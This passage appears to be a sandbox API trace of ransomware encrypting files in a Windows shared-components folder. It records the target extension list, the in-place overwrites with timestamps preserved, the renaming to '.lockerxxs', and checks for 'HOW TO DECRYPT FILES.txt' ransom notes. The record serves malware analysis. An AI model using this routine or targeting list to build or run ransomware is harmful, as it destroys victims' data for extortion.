lpMsg=0x18f8d4) returned 0 [0057.977] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*.*") returned="*.*" [0057.977] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\" [0057.977] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\") returned="" [0057.979] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.979] CloseHandle (hObject=0x8c) returned 1 [0057.979] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0057.979] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned="CGMIMP32.CFG" [0057.979] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\" [0057.979] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\") returned="" [0057.979] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0057.979] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned="CGMIMP32.FLT" [0057.980] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\" [0057.980] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\") returned="" [0057.980] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0057.980] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned="CGMIMP32.FNT" [0057.980] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\" [0057.980] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\") returned="" [0057.980] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0057.980] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned="EPSIMP32.FLT" [0057.980] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\" [0057.980] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\") returned="" [0057.981] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0057.981] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned="GIFIMP32.FLT" [0057.981] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\" [0057.981] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\") returned="" [0057.981] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0057.981] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned="JPEGIM32.FLT" [0057.981] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\" [0057.981] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\") returned="" [0057.981] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0057.981] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned="MS.CGM" [0057.981] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\" [0057.981] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\") returned="" [0057.982] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0057.982] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned="MS.EPS" [0057.982] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\" [0057.982] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\") returned="" [0057.982] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0057.982] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned="MS.GIF" [0057.982] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\" [0057.982] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\") returned="" [0057.988] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned="MS.JPG" [0057.988] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0057.988] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x3ff, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x3ff, lpOverlapped=0x0) returned 1 [0057.989] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0057.989] CloseHandle (hObject=0x8c) returned 1 [0057.990] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.lockerxxs")) returned 1 [0057.990] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0057.991] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MS.PNG") returned -1 [0057.991] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MS.PNG") returned -1 [0057.991] lstrcmpiA (lpString1="", lpString2="MS.PNG") returned -1 [0057.991] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned="MS.JPG" [0057.991] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\" [0057.991] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\") returned="" [0057.991] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\how to decrypt files.txt")) returned 0x20 [0057.991] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", pszSpec="*.ems") returned 0 [0057.991] lstrlenA (lpString="*.ems") returned 5 [0057.991] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", pszSpec="*.db") returned 0 [0057.991] lstrlenA (lpString="*.db") returned 4 [0057.991] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", pszSpec="*.dbf") returned 0 [0057.991] lstrlenA (lpString="*.dbf") returned 5 [0057.991] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", pszSpec="*.myox") returned 0 [0057.991] lstrlenA (lpString="*.myox") returned 6 [0057.991] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", pszSpec="*.myo") returned 0 [0057.991] lstrlenA (lpString="*.myo") returned 5 [0057.991] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", pszSpec="*.qbw") returned 0 [0057.991] lstrlenA (lpString="*.qbw") returned 5 [0057.991] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", pszSpec="*.qbb") returned 0 [0057.991] lstrlenA (lpString="*.qbb") returned 5 [0057.992] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", pszSpec="*.qbm") returned 0 [0057.992] lstrlenA (lpString="*.qbm") returned 5 [0057.992] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", pszSpec="*.qbo") returned 0 [0057.992] lstrlenA (lpString="*.qbo") returned 5 [0057.992] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", pszSpec="*.qbx") returned 0 [0057.992] lstrlenA (lpString="*.qbx") returned 5 [0057.992] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", pszSpec="*.qba") returned 0 [0057.992] lstrlenA (lpString="*.qba") returned 5 [0057.992] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", pszSpec="*.qby") returned 0 [0057.992] lstrlenA (lpString="*.qby") returned 5 [0057.992] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", pszSpec="*.qbj") returned 0 [0057.992] lstrlenA (lpString="*.qbj") returned 5 [0057.992] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", pszSpec="*.ofx") returned 0 [0057.992] lstrlenA (lpString="*.ofx") returned 5 [0057.992] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", pszSpec="*.qif") returned 0 [0057.992] lstrlenA (lpString="*.qif") returned 5 [0057.992] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", pszSpec="*.mye") returned 0 [0057.992] lstrlenA (lpString="*.mye") returned 5 [0057.992] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", pszSpec="*.mbox") returned 0 [0057.992] lstrlenA (lpString="*.mbox") returned 6 [0057.992] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", pszSpec="*.eml") returned 0 [0057.992] lstrlenA (lpString="*.eml") returned 5 [0057.992] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", pszSpec="*.pst") returned 0 [0057.992] lstrlenA (lpString="*.pst") returned 5 [0057.992] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", pszSpec="*.ost") returned 0 [0057.993] lstrlenA (lpString="*.ost") returned 5 [0057.993] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", pszSpec="*.idx") returned 0 [0057.993] lstrlenA (lpString="*.idx") returned 5 [0057.993] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", pszSpec="*.dbx") returned 0 [0057.993] lstrlenA (lpString="*.dbx") returned 5 [0057.993] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", pszSpec="*.sql") returned 0 [0057.993] lstrlenA (lpString="*.sql") returned 5 [0057.993] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", pszSpec="*.mdb") returned 0 [0057.993] lstrlenA (lpString="*.mdb") returned 5 [0057.993] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", pszSpec="*.fdb") returned 0 [0057.993] lstrlenA (lpString="*.fdb") returned 5 [0057.993] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", pszSpec="*.wab") returned 0 [0057.993] lstrlenA (lpString="*.wab") returned 5 [0057.993] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", pszSpec="*.dat") returned 0 [0057.993] lstrlenA (lpString="*.dat") returned 5 [0057.993] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", pszSpec="*.txt") returned 0 [0057.993] lstrlenA (lpString="*.txt") returned 5 [0057.993] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", pszSpec="*.jpeg") returned 0 [0057.993] lstrlenA (lpString="*.jpeg") returned 6 [0057.993] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", pszSpec="*.jpg") returned 0 [0057.993] lstrlenA (lpString="*.jpg") returned 5 [0057.993] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", pszSpec="*.png") returned 1 [0057.993] lstrlenA (lpString="*.png") returned 5 [0057.993] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" [0057.994] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" [0057.994] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpString2="." | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG." [0057.994] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.lockerxxs") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.lockerxxs" [0057.994] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0057.994] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x692 [0057.994] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x916cf600, dwHighDateTime=0x1bcabec), lpLastAccessTime=0x407536*(dwLowDateTime=0xeee42ef0, dwHighDateTime=0x1d301be), lpLastWriteTime=0x40753e*(dwLowDateTime=0x916cf600, dwHighDateTime=0x1bcabec)) returned 1 [0057.994] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0057.994] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x66c, lpOverlapped=0x0) returned 1 [0057.999] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned="MS.PNG" [0057.999] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0057.999] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x66c, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x66c, lpOverlapped=0x0) returned 1 [0058.000] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0058.000] CloseHandle (hObject=0x8c) returned 1 [0058.001] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.lockerxxs")) returned 1 [0058.001] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x2000002, dwReserved1=0x4f6000, cFileName="MS.WPG", cAlternateFileName="")) returned 1 [0058.001] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.002] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MS.WPG") returned -1 [0058.002] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MS.WPG") returned -1 [0058.002] lstrcmpiA (lpString1="", lpString2="MS.WPG") returned -1 [0058.002] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned="MS.PNG" [0058.002] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\" [0058.002] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\") returned="" [0058.002] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\HOW TO DECRYPT FILES.txt" [0058.002] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\how to decrypt files.txt")) returned 0x20 [0058.002] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\", lpString2="MS.WPG" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" [0058.002] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.ems") returned 0 [0058.002] lstrlenA (lpString="*.ems") returned 5 [0058.002] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.db") returned 0 [0058.002] lstrlenA (lpString="*.db") returned 4 [0058.002] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.dbf") returned 0 [0058.002] lstrlenA (lpString="*.dbf") returned 5 [0058.002] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.myox") returned 0 [0058.002] lstrlenA (lpString="*.myox") returned 6 [0058.002] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.myo") returned 0 [0058.002] lstrlenA (lpString="*.myo") returned 5 [0058.002] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.qbw") returned 0 [0058.002] lstrlenA (lpString="*.qbw") returned 5 [0058.002] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.qbb") returned 0 [0058.002] lstrlenA (lpString="*.qbb") returned 5 [0058.003] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.qbm") returned 0 [0058.003] lstrlenA (lpString="*.qbm") returned 5 [0058.003] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.qbo") returned 0 [0058.003] lstrlenA (lpString="*.qbo") returned 5 [0058.003] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.qbx") returned 0 [0058.003] lstrlenA (lpString="*.qbx") returned 5 [0058.003] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.qba") returned 0 [0058.003] lstrlenA (lpString="*.qba") returned 5 [0058.003] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.qby") returned 0 [0058.003] lstrlenA (lpString="*.qby") returned 5 [0058.003] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.qbj") returned 0 [0058.003] lstrlenA (lpString="*.qbj") returned 5 [0058.003] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.ofx") returned 0 [0058.003] lstrlenA (lpString="*.ofx") returned 5 [0058.003] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.qif") returned 0 [0058.003] lstrlenA (lpString="*.qif") returned 5 [0058.003] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.mye") returned 0 [0058.003] lstrlenA (lpString="*.mye") returned 5 [0058.003] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.mbox") returned 0 [0058.003] lstrlenA (lpString="*.mbox") returned 6 [0058.003] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.eml") returned 0 [0058.003] lstrlenA (lpString="*.eml") returned 5 [0058.003] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.pst") returned 0 [0058.003] lstrlenA (lpString="*.pst") returned 5 [0058.004] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.ost") returned 0 [0058.004] lstrlenA (lpString="*.ost") returned 5 [0058.004] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.idx") returned 0 [0058.004] lstrlenA (lpString="*.idx") returned 5 [0058.004] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.dbx") returned 0 [0058.004] lstrlenA (lpString="*.dbx") returned 5 [0058.004] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", pszSpec="*.sql") returned 0 [0058.004] lstrlenA (lpString="*.sql") returned 5 [0058.004] PathMatchSpecA (pszFile="C:\\Program Files\\Common 